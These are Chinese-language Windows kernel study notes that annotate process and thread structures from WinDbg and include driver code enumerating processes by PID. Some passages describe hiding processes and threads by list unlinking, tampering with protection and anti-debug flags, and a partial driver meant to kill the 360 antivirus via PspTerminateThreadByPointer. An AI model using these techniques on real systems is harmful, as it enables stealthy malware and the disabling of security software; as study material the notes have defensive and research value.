目前依旧是32位操作系统的大前提结论;

进程

进程结构

主要分析进程结构体;

下面说的都是普通进程的特性,不包括system进程和0号进程;

32位下占4GB大小,64位下使用48位表示线性地址,高16位用于区分模块,所以占256TB大小;

刚刚创建好进程的时候,只是创建了一个进程结构体,并对载入的EXE,DLL等模块做拉伸,修复的操作,分配必要的内存空间写入,并不具有动态特性,没有栈,也没有堆;但是PEB,TEB会额外分配内存空间写入;

进程主要就两个状态,活跃和死亡;挂起是对线程而言;进程就是一坨内存,没有动态特性;

进程结构体在windbg中的符号是: _EPROCESS,它的第一个字段就是 _KPROCESS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
0: kd> dt _KPROCESS 88280440
ntdll!_KPROCESS
+0x000 Header : _DISPATCHER_HEADER
+0x010 ProfileListHead : _LIST_ENTRY [ 0x88280450 - 0x88280450 ] //配置文件链表
+0x018 DirectoryTableBase : 0xbe8c9500 //CR3
+0x01c LdtDescriptor : _KGDTENTRY //废弃
+0x024 Int21Descriptor : _KIDTENTRY //废弃
+0x02c ThreadListHead : _LIST_ENTRY [ 0x880e4768 - 0x8906aad0 ] //线程链表,进程里有多少个线程
+0x034 ProcessLock : 0 //这个锁用来锁定_KPROCESS的修改,修改时上锁
+0x038 Affinity : _KAFFINITY_EX //亲核性,进程用不到,线程会用
//_KAFFINITY_EX中的bitmap字段是核数掩码
//线程切换时只准落入某个核
//bitmap为0,创建线程时就会蓝屏(无核可用)
+0x044 ReadyListHead : _LIST_ENTRY [ 0x88280484 - 0x88280484 ] //当前进程中,就绪的线程的列表(就绪队列)
+0x04c SwapListEntry : _SINGLE_LIST_ENTRY //阻塞/挂起态线程列表,一般用不到
+0x050 ActiveProcessors : _KAFFINITY_EX //当前进程下,活动的核,仅描述,修改无效
+0x05c AutoAlignment : 0y0 //自动对齐
+0x05c DisableBoost : 0y0 //线程优先级相关
+0x05c DisableQuantum : 0y0 //是否关闭当前进程下的线程的时间碎片机制
+0x05c ActiveGroupsMask : 0y1
+0x05c ReservedFlags : 0y0000000000000000000000000000 (0)
+0x05c ProcessFlags : 0n8
+0x060 BasePriority : 8 '' //线程继承进程的基本优先级
+0x061 QuantumReset : 18 '' //线程时间碎片的基础值,在运行态的时间
+0x062 Visited : 0 ''
+0x063 Unused3 : 0 ''
+0x064 ThreadSeed : [1] 0
+0x068 IdealNode : [1] 0
+0x06a IdealGlobalNode : 0
+0x06c Flags : _KEXECUTE_OPTIONS //可以动态关闭SEH机制
+0x06d AddressPolicy : 0 ''
+0x06e IopmOffset : 0x20ac
+0x070 Unused4 : 0
+0x074 StackCount : _KSTACK_COUNT
+0x078 ProcessListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x080 CycleTime : 0
+0x088 KernelTime : 0
+0x08c UserTime : 0
+0x090 VdmTrapcHandler : (null)

补充windbg操作: ba r4 地址, ba w4 地址,打读写断点,4的意思是读写字节是4个;

_E封装和_K封装的区别在于,E是执行体层,K是微内核层;一般E更大更宽;

_EPROCESS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
0: kd> dt _EPROCESS 88280440
ntdll!_EPROCESS
+0x000 Pcb : _KPROCESS //上面提到的 PCB 结构
+0x098 ProcessLock : _EX_PUSH_LOCK //这个锁用来锁定_EPROCESS的修改,修改时上锁
+0x0a0 CreateTime : _LARGE_INTEGER 0x01dd5d2e`cee3f13b //进程的创立时间
+0x0a8 ExitTime : _LARGE_INTEGER 0x0 //进程结束时间
+0x0b0 RundownProtect : _EX_RUNDOWN_REF //也是一把锁,改标志位的时候会上锁
+0x0b4 UniqueProcessId : 0x00000d2c Void //进程ID,pid
+0x0b8 ActiveProcessLinks : _LIST_ENTRY [ 0x89021dd8 - 0x88fd6930 ] //所有进程链表,类似驱动链表的关系
//拿到下一个节点要-b8才是下一个的_EPROCESS
/*
+0x0c0 ProcessQuotaUsage : [2] 0x3f9c
+0x0c8 ProcessQuotaPeak : [2] 0x4354
+0x0d0 CommitCharge : 0x72b
+0x0d4 QuotaBlock : 0x88a8f640 _EPROCESS_QUOTA_BLOCK 这些字段是资源管理器里面显示的一些统计信息
+0x0d8 CpuQuotaBlock : (null)
+0x0dc PeakVirtualSize : 0x926b000
+0x0e0 VirtualSize : 0x859d000 */

+0x0e4 SessionProcessLinks : _LIST_ENTRY [ 0x89021e04 - 0x88fb9e04 ] //当前用户的进程链表
//比如打开方式为system,这个链表里就都是
//system权限的进程
+0x0ec DebugPort : (null) //调试器附加会有一个值,指向调试对象
//如果有了,调试器就附加不上了
//如果调试器正在调试,此时清0,调试器失效
+0x0f0 ExceptionPortData : 0x88a08468 Void
+0x0f0 ExceptionPortValue : 0x88a08468 //+f0,异常相关上报端口
+0x0f0 ExceptionPortState : 0y000

+0x0f4 ObjectTable : 0x8e820ec0 _HANDLE_TABLE //句柄表
+0x0f8 Token : _EX_FAST_REF //token权限,包括账户
+0x0fc WorkingSetPage : 0x1de0a //该进程的工作集链表指针
+0x100 AddressCreationLock : _EX_PUSH_LOCK //申请内存时会用到的锁
+0x104 RotateInProgress : (null)
+0x108 ForkInProgress : (null)
+0x10c HardwareTrigger : 0
+0x110 PhysicalVadRoot : (null)
+0x114 CloneRoot : (null)
+0x118 NumberOfPrivatePages : 0x5f7
+0x11c NumberOfLockedPages : 1
+0x120 Win32Process : 0xff4292f0 Void //是否是一个UI进程,void代表不是
+0x124 Job : (null) //作业,涉及windows沙盒,这里不涉及使用
+0x128 SectionObject : 0x94370c80 Void //exe节区对象
+0x12c SectionBaseAddress : 0x01320000 Void //exe模块基址
+0x130 Cookie : 0x2e13f128 //加密值
+0x134 Spare8 : 0
+0x138 WorkingSetWatch : (null)
+0x13c Win32WindowStation : 0x00000038 Void
+0x140 InheritedFromUniqueProcessId : 0x00000a7c Void //父进程ID
+0x144 LdtInformation : (null)
+0x148 VdmObjects : (null)
+0x14c ConsoleHostProcess : 0
+0x150 DeviceMap : 0x8e9f6e68 Void
+0x154 EtwDataSource : (null)
+0x158 FreeTebHint : 0x7ff98000 Void
+0x160 PageDirectoryPte : 0
+0x168 Session : 0x8ffdc000 Void
+0x16c ImageFileName : [15] "iexplore.exe" //exe的名字
+0x17b PriorityClass : 0x2 ''
+0x17c JobLinks : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x184 LockedPagesList : (null)
+0x188 ThreadListHead : _LIST_ENTRY [ 0x880e47f0 - 0x8906ab58 ] //当前进程的所有线程链表,和_KPROCESS的一样
+0x190 SecurityPort : (null)
+0x194 PaeTop : 0x880c9500 Void
+0x198 ActiveThreads : 0x14 //活着的线程数
+0x19c ImagePathHash : 0x1b894afb
+0x1a0 DefaultHardErrorProcessing : 0
+0x1a4 LastThreadExitStatus : 0n0
+0x1a8 Peb : 0x7ffd7000 _PEB //PEB
+0x1ac PrefetchTrace : _EX_FAST_REF
/*
+0x1b0 ReadOperationCount : _LARGE_INTEGER 0x43
+0x1b8 WriteOperationCount : _LARGE_INTEGER 0x2d
+0x1c0 OtherOperationCount : _LARGE_INTEGER 0x962 读写删除访问的统计次数
+0x1c8 ReadTransferCount : _LARGE_INTEGER 0x9aac
+0x1d0 WriteTransferCount : _LARGE_INTEGER 0x958a
+0x1d8 OtherTransferCount : _LARGE_INTEGER 0x55f2 */

+0x1e0 CommitChargeLimit : 0
+0x1e4 CommitChargePeak : 0x72e
+0x1e8 AweInfo : (null)
+0x1ec SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO //进程的全路径
+0x1f0 Vm : _MMSUPPORT
+0x25c MmProcessLinks : _LIST_ENTRY [ 0x89021f7c - 0x88fd6ad4 ]
+0x264 HighestUserAddress : 0x7fff0000 Void
+0x268 ModifiedPageCount : 0x23
+0x26c Flags2 : 0xa00d000 //关键标志位2
+0x26c JobNotReallyActive : 0y0
+0x26c AccountingFolded : 0y0
+0x26c NewProcessReported : 0y0
+0x26c ExitProcessReported : 0y0
+0x26c ReportCommitChanges : 0y0
+0x26c LastReportMemory : 0y0
+0x26c ReportPhysicalPageChanges : 0y0
+0x26c HandleTableRundown : 0y0
+0x26c NeedsHandleRundown : 0y0
+0x26c RefTraceEnabled : 0y0
+0x26c NumaAware : 0y0
+0x26c ProtectedProcess : 0y0 //为1,则CE无法附加,弱保护(应用层访问拒绝)
//就是 PPL 保护
+0x26c DefaultPagePriority : 0y101
+0x26c PrimaryTokenFrozen : 0y1
+0x26c ProcessVerifierTarget : 0y0
+0x26c StackRandomizationDisabled : 0y0
+0x26c AffinityPermanent : 0y0
+0x26c AffinityUpdateEnable : 0y0
+0x26c PropagateNode : 0y0
+0x26c ExplicitAffinity : 0y0
+0x26c Spare1 : 0y0
+0x26c ForceRelocateImages : 0y0
+0x26c DisallowStrippedImages : 0y0
+0x26c LowVaAccessible : 0y1
+0x26c RestrictIndirectBranchPrediction : 0y0
+0x26c AddressPolicyFrozen : 0y1
+0x26c SpeculativeStoreBypassDisable : 0y0
+0x270 Flags : 0x144d0801 //关键标志位
+0x270 CreateReported : 0y1
+0x270 NoDebugInherit : 0y0
+0x270 ProcessExiting : 0y0
+0x270 ProcessDelete : 0y0
+0x270 Wow64SplitPages : 0y0
+0x270 VmDeleted : 0y0
+0x270 OutswapEnabled : 0y0
+0x270 Outswapped : 0y0
+0x270 ForkFailed : 0y0
+0x270 Wow64VaSpace4Gb : 0y0
+0x270 AddressSpaceInitialized : 0y10
+0x270 SetTimerResolution : 0y0
+0x270 BreakOnTermination : 0y0 //为1,那么结束进程就蓝屏
+0x270 DeprioritizeViews : 0y0
+0x270 WriteWatch : 0y0
+0x270 ProcessInSession : 0y1
+0x270 OverrideAddressSpace : 0y0
+0x270 HasAddressSpace : 0y1
+0x270 LaunchPrefetched : 0y1
+0x270 InjectInpageErrors : 0y0
+0x270 VmTopDown : 0y0
+0x270 ImageNotifyDone : 0y1
+0x270 PdeUpdateNeeded : 0y0
+0x270 VdmAllowed : 0y0
+0x270 CrossSessionCreate : 0y0
+0x270 ProcessInserted : 0y1 //是否允许别人把本进程句柄插入到他的句柄表
//为0,则不允许,则别人无法打开本进程对象
//包括自己人也不行
+0x270 DefaultIoPriority : 0y010
+0x270 ProcessSelfDelete : 0y0
+0x270 SetTimerResolutionLink : 0y0
+0x274 ExitStatus : 0n259 //不是259,进程就意味着已经退出了
+0x278 VadRoot : _MM_AVL_TABLE
+0x298 AlpcContext : _ALPC_PROCESS_CONTEXT
+0x2a8 TimerResolutionLink : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x2b0 RequestedTimerResolution : 0
+0x2b4 ActiveThreadsHighWatermark : 0x14
+0x2b8 SmallestTimerResolution : 0
+0x2bc TimerResolutionStackRecord : (null)
+0x2c0 SequenceNumber : 0x3c
+0x2c8 CreateInterruptTime : 0x29278a7c
+0x2d0 CreateUnbiasedInterruptTime : 0x29278a7c
+0x2d8 SecurityDomain : 0x00000001`00000019

可以通过这个进程结构里面的进程链表进行进程遍历,思路和驱动链表遍历是一样的;

也可以同之前的方法一样,进行进程断链隐藏自身;

进程结构获取

可以使用pid来暴力枚举所有进程;

使用 PsLookupProcessByProcessId 暴力枚举,断链是没有用的,隐藏不掉;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PEPROCESS FindProcessByNameW(PWCHAR processName)
{
//暴力枚举,pid都是4的倍数
for (unsigned int i = 12; i < 0xFFFFFFFC; i += 4)
{
PEPROCESS Process = NULL;

NTSTATUS st = PsLookupProcessByProcessId((HANDLE)i, &Process);
//失败
if (!NT_SUCCESS(st)) continue;
//状态已退出,EPROCESS 的 +0x274 ExitStatus 位置获取 PENDING 就是 259
if (PsGetProcessExitStatus(Process) != STATUS_PENDING)
{
//因为使用了 PsLookupProcessByProcessId,引用加了1,所以减回去
ObDereferenceObject(Process);
continue;
}

PUNICODE_STRING fullPath = NULL;
//获取 EPROCESS 的 +0x1ec SeAuditProcessCreationInfo 位置
st = SeLocateProcessImageName(Process, &fullPath);
if (!NT_SUCCESS(st))
{
ObDereferenceObject(Process);
continue;
}
//查找 “\\” 末次出现的位置
PWCHAR baseName = wcsrchr(fullPath->Buffer, L'\\');
//获取成功
if (baseName)
{
baseName += 1;
//找到
if (!_wcsicmp(baseName, processName))
{
ExFreePool(fullPath);
return Process;
}
}
ExFreePool(fullPath);
ObDereferenceObject(Process);
}
return NULL;
}

进程保护

有三种姿势:

第一种是把进程结构中的pid改成别人的,这个时候在任务管理器里面就看不到对应进程信息了;

第二种是改进程结构中的 ProtectedProcess 位,改了以后应用层访问会被拒绝;

第三种是改进程结构中的 ProcessInserted 位,改了以后连任务管理器都查不到进程信息,也关不掉进程;

线程

线程结构

线程的运作必须依靠进程提供空间,线程才具有动态特性;常常说的进程是指一个进程加上一个主线程;

栈是线程独立的,每个线程拥有自己的栈,每个线程也分用户栈和线程栈;

线程也有两个环境:R3的TEB,R0的ETHREAD;

线程有两个”父亲“:一个是创建线程的那个进程(生父);一个是当前线程附加的进程(养父);

会出现养父的情况是线程处于内核态,可以进行挂靠;线程处于用户态只能属于生父;

线程相关的线程链表,亲和性都是继承于生父,养父只是暂时的,不是那么重要;

相对的,线程的结构也分 K和E封装,提一嘴,windows里面的KTHREAD和KPROCESS就对应操作系统的TCB,PCB;

下面是 _KTHREAD :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
0: kd> dt _KTHREAD 88e49218
ntdll!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x010 CycleTime : 0x1989aa7 //线程生命周期中累计的时钟周期数
+0x018 HighCycleTime : 0
+0x020 QuantumTarget : 0x5b68264 //时间碎片总数

+0x028 InitialStack : 0xb2cbced0 Void //这三个值和内核栈有关系,内核栈是线程级的
+0x02c StackLimit : 0xb2cba000 Void //initial是内核栈栈底,limit是内核栈栈顶
+0x030 KernelStack : 0xb2cbcac8 Void //kernelstack用于内核栈使用时切换保存内核esp
//可以和我们之前学的systementer联系起来
//TSS.ESP0就是通过InitialStack减去一个值得到
/*栈图如下(倒着的栈):
高地址 底
↑
┌──────────────────────┐
│ InitialStack │ ← 内核栈高地址端
├──────────────────────┤
│ │
│ FPU / NPX 保存区域 │
│ (浮点) │
├──────────────────────┤
│ │
│ KTRAP_FRAME 相关区域 │
│ │
├──────────────────────┤
│ TSS.ESP0 │ ← Ring3进入Ring0时的ESP
├──────────────────────┤
│ │
│ 内核函数调用栈 │
│ │
│ ↓ │
│ │
├──────────────────────┤
│ StackLimit │
└──────────────────────┘
↓
低地址 顶
*/
+0x034 ThreadLock : 0 //一把锁,功能和之前进程的一样
+0x038 WaitRegister : _KWAIT_STATUS_REGISTER
+0x039 Running : 0 '' //为 1 那么线程处于运行态
+0x03a Alerted : [2] "" //APC相关
+0x03c KernelStackResident : 0y1
+0x03c ReadyTransition : 0y0
+0x03c ProcessReadyQueue : 0y0
+0x03c WaitNext : 0y0
+0x03c SystemAffinityActive : 0y0
+0x03c Alertable : 0y0 //为1,则有通知的时候可以被唤醒
+0x03c GdiFlushActive : 0y0
+0x03c UserStackWalkActive : 0y0
+0x03c ApcInterruptRequest : 0y0 //APC打断请求能否被触发(能否执行APC)
+0x03c ForceDeferSchedule : 0y0
+0x03c QuantumEndMigrate : 0y0
+0x03c UmsDirectedSwitchEnable : 0y0
+0x03c TimerActive : 0y0
+0x03c SystemThread : 0y0
+0x03c Reserved : 0y000000000000000000 (0)
+0x03c MiscFlags : 0n1
+0x040 ApcState : _KAPC_STATE //_KAPC_STATE里面有个Process,指向养父
//的 KPROCESS
//它决定了当前CR3的值属于哪个进程
//值为0,就没有养父,属于生父
+0x040 ApcStateFill : [23] "X???"
+0x057 Priority : 9 '' //优先级,就是操作系统里面那个概念
//优先级越高,越先执行,执行次数越多
//Windows有32个优先级
+0x058 NextProcessor : 1 //下一个运行该线程的核
+0x05c DeferredProcessor : 6
+0x060 ApcQueueLock : 0 //操作APC队列的时候的一把锁
+0x064 ContextSwitches : 0x5d //线程切换次数
+0x068 State : 0x5 '' //状态,操作系统的那个三态表的概念
+0x069 NpxState : 0 '' //协处理器状态,一般不用
+0x06a WaitIrql : 0 ''
+0x06b WaitMode : 1 '' //r3等待或者r0等待模式
+0x06c WaitStatus : 0n0 //正常等待为0
+0x070 WaitBlockList : 0x88e492d8 _KWAIT_BLOCK //等待相关
+0x074 WaitListEntry : _LIST_ENTRY [ 0x87f3fad4 - 0x888df0a4 ]
+0x074 SwapListEntry : _SINGLE_LIST_ENTRY
+0x07c Queue : (null)
+0x080 WaitTime : 0x1173 //等待的时间
+0x084 KernelApcDisable : 0n0 //关闭普通APC,非0为关闭
+0x086 SpecialApcDisable : 0n0 //关闭紧急APC,非0为关闭
+0x084 CombinedApcDisable : 0 //上面两个的组合
+0x088 Teb : 0x7ff9e000 Void //TEB
+0x090 Timer : _KTIMER //定时器
+0x0b8 AutoAlignment : 0y0
+0x0b8 DisableBoost : 0y0
+0x0b8 EtwStackTraceApc1Inserted : 0y0
+0x0b8 EtwStackTraceApc2Inserted : 0y0
+0x0b8 CalloutActive : 0y0
+0x0b8 ApcQueueable : 0y1 //是否有APC队列
+0x0b8 EnableStackSwap : 0y1
+0x0b8 GuiThread : 0y0 //是否是UI线程
+0x0b8 UmsPerformingSyscall : 0y0
+0x0b8 VdmSafe : 0y0
+0x0b8 UmsDispatched : 0y0
+0x0b8 ReservedFlags : 0y000000000000000000000 (0)
+0x0b8 ThreadFlags : 0n96
+0x0bc ServiceTable : 0x83f8eb00 Void
+0x0c0 WaitBlock : [4] _KWAIT_BLOCK
+0x120 QueueListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x128 TrapFrame : 0xb2cbcc34 _KTRAP_FRAME
+0x12c FirstArgument : 0x0000052c Void
+0x130 CallbackStack : (null)
+0x130 CallbackDepth : 0
+0x134 ApcStateIndex : 0 '' //线程是否挂靠,为1是挂靠
+0x135 BasePriority : 8 ''
+0x136 PriorityDecrement : 0 ''
+0x136 ForegroundBoost : 0y0000
+0x136 UnusualBoost : 0y0000
+0x137 Preempted : 0 ''
+0x138 AdjustReason : 0 ''
+0x139 AdjustIncrement : 1 ''
+0x13a PreviousMode : 1 ''
+0x13b Saturation : 0 ''
+0x13c SystemCallNumber : 0x187
+0x140 FreezeCount : 0
+0x144 UserAffinity : _GROUP_AFFINITY
+0x150 Process : 0x88dd2d20 _KPROCESS //生父的 KPROCESS
+0x154 Affinity : _GROUP_AFFINITY //从进程继承过来的亲核性
+0x160 IdealProcessor : 1
+0x164 UserIdealProcessor : 1
+0x168 ApcStatePointer : [2] 0x88e49258 _KAPC_STATE
+0x170 SavedApcState : _KAPC_STATE
+0x170 SavedApcStateFill : [23] ""
+0x187 WaitReason : 0x6 ''
+0x188 SuspendCount : 0 ''
+0x189 Spare1 : 0 ''
+0x18a OtherPlatformFill : 0 ''
+0x18c Win32Thread : (null)
+0x190 StackBase : 0xb2cbd000 Void
+0x194 SuspendApc : _KAPC
+0x194 SuspendApcFill0 : [1] "??????"
+0x195 ResourceIndex : 0x1 ''
+0x194 SuspendApcFill1 : [3] "???"
+0x197 QuantumReset : 0x12 ''
+0x194 SuspendApcFill2 : [4] "???"
+0x198 KernelTime : 0
+0x194 SuspendApcFill3 : [36] "???"
+0x1b8 WaitPrcb : 0x807ca120 _KPRCB
+0x194 SuspendApcFill4 : [40] "???"
+0x1bc LegoData : (null)
+0x194 SuspendApcFill5 : [47] "???"
+0x1c3 LargeStack : 0 ''
+0x1c4 UserTime : 0
+0x1c8 SuspendSemaphore : _KSEMAPHORE
+0x1c8 SuspendSemaphorefill : [20] "???"
+0x1dc SListFaultCount : 0
+0x1e0 ThreadListEntry : _LIST_ENTRY [ 0x88dd2d4c - 0x88e498d8 ] //线程链表,进程下的所有线程,不是所有线程
//KPROCESS里面的是头节点,这是循环链表
//所以最后一个线程节点会指向KPROCESS
//内核结构中的链表节点指向都是指在腰上的
+0x1e8 MutantListHead : _LIST_ENTRY [ 0x88e49400 - 0x88e49400 ]
+0x1f0 SListFaultAddress : (null)
+0x1f4 ThreadCounters : (null)
+0x1f8 XStateSave : (null)

可以发现线程结构里有很多字段和 APC 相关,后续会进一步学习;

这些线程链表的结构可以这么表示,记住这张图就行:

线程链表

是双向循环链表,PROCESS和THREAD结构的偏移还不一样,但都是指向腰上的,LIST_ENTRY都有这个指在腰上的特性;

_ETHREAD :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
0: kd> dt _ETHREAD 88d25598
ntdll!_ETHREAD
+0x000 Tcb : _KTHREAD
+0x200 CreateTime : _LARGE_INTEGER 0x01dd6128`292b4c80 //创建线程时间
+0x208 ExitTime : _LARGE_INTEGER 0x88d257a0`88d257a0 //结束线程时间
+0x208 KeyedWaitChain : _LIST_ENTRY [ 0x88d257a0 - 0x88d257a0 ]
+0x210 ExitStatus : 0n0
+0x214 PostBlockList : _LIST_ENTRY [ 0x0 - 0x770b6be8 ]
+0x214 ForwardLinkShadow : (null)
+0x218 StartAddress : 0x770b6be8 Void //线程入口(线程回调函数地址)
+0x21c TerminationPort : (null)
+0x21c ReaperLink : (null)
+0x21c KeyedWaitValue : (null)
+0x220 ActiveTimerListLock : 0
+0x224 ActiveTimerListHead : _LIST_ENTRY [ 0x88d257bc - 0x88d257bc ] //线程定时器链表
+0x22c Cid : _CLIENT_ID //一个结构体,包含了生父pid和自己tid
+0x234 KeyedWaitSemaphore : _KSEMAPHORE
+0x234 AlpcWaitSemaphore : _KSEMAPHORE
+0x248 ClientSecurity : _PS_CLIENT_SECURITY_CONTEXT
+0x24c IrpList : _LIST_ENTRY [ 0x88d257e4 - 0x88d257e4 ]
+0x254 TopLevelIrp : 0
+0x258 DeviceToVerify : (null)
+0x25c CpuQuotaApc : (null)
+0x260 Win32StartAddress : 0x00ff1c9a Void //和 +0x218 StartAddress 一样
//不是这个就是那个,反正有时有为0的时候
+0x264 LegacyPowerObject : (null)
+0x268 ThreadListEntry : _LIST_ENTRY [ 0x88dfebe0 - 0x88dd2ea8 ] //对应EPROCESS中的线程链表
//也是EPROCESS中的作为头节点进行循环链接
//要隐藏线程,K和E中的这两个链都要断
+0x270 RundownProtect : _EX_RUNDOWN_REF
+0x274 ThreadLock : _EX_PUSH_LOCK
+0x278 ReadClusterSize : 7
+0x27c MmLockOrdering : 0n0
+0x280 CrossThreadFlags : 0xa802 //关键标志位
+0x280 Terminated : 0y0
+0x280 ThreadInserted : 0y1 //和进程那个一样,置0,外部打不开,关不掉
+0x280 HideFromDebugger : 0y0 //大部分反调试
//置为1,调试附加会被逃逸
//表现出来就是附加后,线程还在跑,断不下
+0x280 ActiveImpersonationInfo : 0y0
+0x280 Reserved : 0y0
+0x280 HardErrorsAreDisabled : 0y0
+0x280 BreakOnTermination : 0y0 //依旧关掉蓝屏
+0x280 SkipCreationMsg : 0y0
+0x280 SkipTerminationMsg : 0y0
+0x280 CopyTokenOnOpen : 0y0
+0x280 ThreadIoPriority : 0y010
+0x280 ThreadPagePriority : 0y101
+0x280 RundownFail : 0y0
+0x280 NeedsWorkingSetAging : 0y0
+0x284 SameThreadPassiveFlags : 0
+0x284 ActiveExWorker : 0y0
+0x284 ExWorkerCanWaitUser : 0y0
+0x284 MemoryMaker : 0y0
+0x284 ClonedThread : 0y0
+0x284 KeyedEventInUse : 0y0
+0x284 RateApcState : 0y00
+0x284 SelfTerminate : 0y0
+0x288 SameThreadApcFlags : 0
+0x288 Spare : 0y0
+0x288 StartAddressInvalid : 0y0
+0x288 EtwPageFaultCalloutActive : 0y0
+0x288 OwnsProcessWorkingSetExclusive : 0y0
+0x288 OwnsProcessWorkingSetShared : 0y0
+0x288 OwnsSystemCacheWorkingSetExclusive : 0y0
+0x288 OwnsSystemCacheWorkingSetShared : 0y0
+0x288 OwnsSessionWorkingSetExclusive : 0y0
+0x289 OwnsSessionWorkingSetShared : 0y0
+0x289 OwnsProcessAddressSpaceExclusive : 0y0
+0x289 OwnsProcessAddressSpaceShared : 0y0
+0x289 SuppressSymbolLoad : 0y0
+0x289 Prefetching : 0y0
+0x289 OwnsDynamicMemoryShared : 0y0
+0x289 OwnsChangeControlAreaExclusive : 0y0
+0x289 OwnsChangeControlAreaShared : 0y0
+0x28a OwnsPagedPoolWorkingSetExclusive : 0y0
+0x28a OwnsPagedPoolWorkingSetShared : 0y0
+0x28a OwnsSystemPtesWorkingSetExclusive : 0y0
+0x28a OwnsSystemPtesWorkingSetShared : 0y0
+0x28a TrimTrigger : 0y00
+0x28a Spare1 : 0y00
+0x28b PriorityRegionActive : 0 ''
+0x28c CacheManagerActive : 0 ''
+0x28d DisablePageFaultClustering : 0 ''
+0x28e ActiveFaultCount : 0 ''
+0x28f LockOrderState : 0 ''
+0x290 AlpcMessageId : 0
+0x294 AlpcMessage : (null)
+0x294 AlpcReceiveAttributeSet : 0
+0x298 AlpcWaitListEntry : _LIST_ENTRY [ 0x0 - 0x0 ]
+0x2a0 CacheManagerCount : 0
+0x2a4 IoBoostCount : 0
+0x2a8 IrpListLock : 0
+0x2ac ReservedForSynchTracking : (null)
+0x2b0 CmCallbackListHead : _SINGLE_LIST_ENTRY
+0x2b4 KernelStackReference : 1

杀死360

主要是通过内核模块未公开函数:PspTerminateThreadByPointer,以强制杀死线程;

这种姿势可以干掉360进程;线程全部杀了,进程自然就死了;

但这种方法杀的不干净,因为360有r0的服务还挂着,过一会儿进程又给你打开了;

用到的偏移值都是写死了,实际应用时,可以选择特征码搜索,源码特征提取,或者弄一个版本对应偏移表,三种姿势提升健壮性;

用到了之前的枚举进程的函数,和获取SSDT表的姿势:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
#include<ntifs.h>

PEPROCESS FindProcessByNameW(PWCHAR processName)
{
//暴力枚举,pid都是4的倍数
for (unsigned int i = 12; i < 0xFFFFFFFC; i += 4)
{
PEPROCESS Process = NULL;

NTSTATUS st = PsLookupProcessByProcessId((HANDLE)i, &Process);
//失败
if (!NT_SUCCESS(st)) continue;
//状态已退出,EPROCESS 的 +0x274 ExitStatus 位置获取 PENDING 就是 259
if (PsGetProcessExitStatus(Process) != STATUS_PENDING)
{
//因为使用了 PsLookupProcessByProcessId,引用加了1,所以减回去
ObDereferenceObject(Process);
continue;
}

PUNICODE_STRING fullPath = NULL;
//获取 EPROCESS 的 +0x1ec SeAuditProcessCreationInfo 位置
st = SeLocateProcessImageName(Process, &fullPath);
if (!NT_SUCCESS(st))
{
ObDereferenceObject(Process);
continue;
}
//查找 “\\” 末次出现的位置
PWCHAR baseName = wcsrchr(fullPath->Buffer, L'\\');
//获取成功
if (baseName)
{
baseName += 1;
//找到
if (!_wcsicmp(baseName, processName))
{
ExFreePool(fullPath);
return Process;
}
}
ExFreePool(fullPath);
ObDereferenceObject(Process);
}
return NULL;
}

typedef NTSTATUS(NTAPI* MyPspTerminateThreadByPointer)(
PKTHREAD Thread,
NTSTATUS ExitStatus,
BOOLEAN DirectTerminate
);

MyPspTerminateThreadByPointer g_PspTerminateThreadByPointer = NULL;

typedef struct _SSDTItem
{
PULONG_PTR funcTable;
ULONG_PTR unUse;
ULONG_PTR funcNum;
PUCHAR paramSizeTable;
}SSDTItem, * PSSDTItem;

typedef struct _SSDTService
{
SSDTItem ssdt;
SSDTItem sssdt;
}SSDTService, * PSSDTService;

EXTERN_C PSSDTService KeServiceDescriptorTable;

//卸载函数
VOID DriverUnload(PDRIVER_OBJECT pDriver)
{
}

typedef struct _ProcessNameTable
{
WCHAR name[20];
}ProcessNameTable, * PProcessNameTable;

//驱动入口 main
NTSTATUS DriverEntry(PDRIVER_OBJECT pDriver, PUNICODE_STRING pReg)
{
//获取终结线程函数
//错误姿势,ntkrnlpa.exe 内核模块不在进程链表中
